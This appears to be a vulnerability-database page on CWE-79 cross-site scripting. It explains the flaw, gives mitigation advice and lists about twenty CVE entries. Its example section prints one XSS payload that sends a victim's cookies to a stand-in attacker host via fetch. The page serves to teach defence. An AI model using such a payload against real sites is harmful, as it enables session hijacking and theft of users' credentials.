Fallos del tipo CWE-79

29.772 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-5598MEDIUMStored Cross-site Scripting (XSS) vulnerabilities affecting 3DSwym in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2023xEPSS 0.4%CVE-2024-7737HIGHStored Cross-site Scripting (XSS) vulnerability affecting 3DSwym in 3DSwymer from Release 3DEXPERIENCE R2022x through Release 3DEXPERIENCE R2024xEPSS 0.4%CVE-2023-6427MEDIUMCross-site Scripting vulnerability in BigProf productsEPSS 0.4%CVE-2023-6433MEDIUMCross-site Scripting vulnerability in BigProf productsEPSS 0.4%CVE-2025-49552HIGHAdobe Connect | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2023-3829LOWBug Finder ICOGenie Support Ticket create cross site scriptingEPSS 0.4%CVE-2023-6428MEDIUMCross-site Scripting vulnerability in BigProf productsEPSS 0.4%CVE-2023-5305LOWOnline Banquet Booking System Contact Us Page mail.php cross site scriptingEPSS 0.4%CVE-2023-1860LOWKeysight IXIA Hawkeye licenses cross site scriptingEPSS 0.4%CVE-2026-25578MEDIUMNavidrome is vulnerable to XSS via comment from song metadataEPSS 0.4%CVE-2023-6011MEDIUMStored XSS in GeodiEPSS 0.4%CVE-2023-6424MEDIUMCross-site Scripting vulnerability in BigProf productsEPSS 0.4%CVE-2024-10276MEDIUMTelestream Sentry Reports Page page cross site scriptingEPSS 0.4%CVE-2023-40669MEDIUMWordPress Collapse-O-Matic Plugin <= 1.8.5.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-29413MEDIUMWordPress Hermit 音乐播放器 plugin <= 3.1.6 - Cross-Site Request Forgery (CSRF) leading to Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-8990MEDIUMGeo Mashup <= 1.13.13 - Authenticated (Contributor+) Stored Cross-Site Scripting via geo_mashup_visible_posts_list ShortcodeEPSS 0.4%CVE-2026-86431MEDIUMcommonmark before 2.9.1 XSS via AttributesExtension form feed bypassEPSS 0.4%CVE-2025-46952MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-6435MEDIUMCross-site Scripting vulnerability in BigProf productsEPSS 0.4%CVE-2026-11518MEDIUMSourceCodester Inventory System User Management users.php cross site scriptingEPSS 0.4%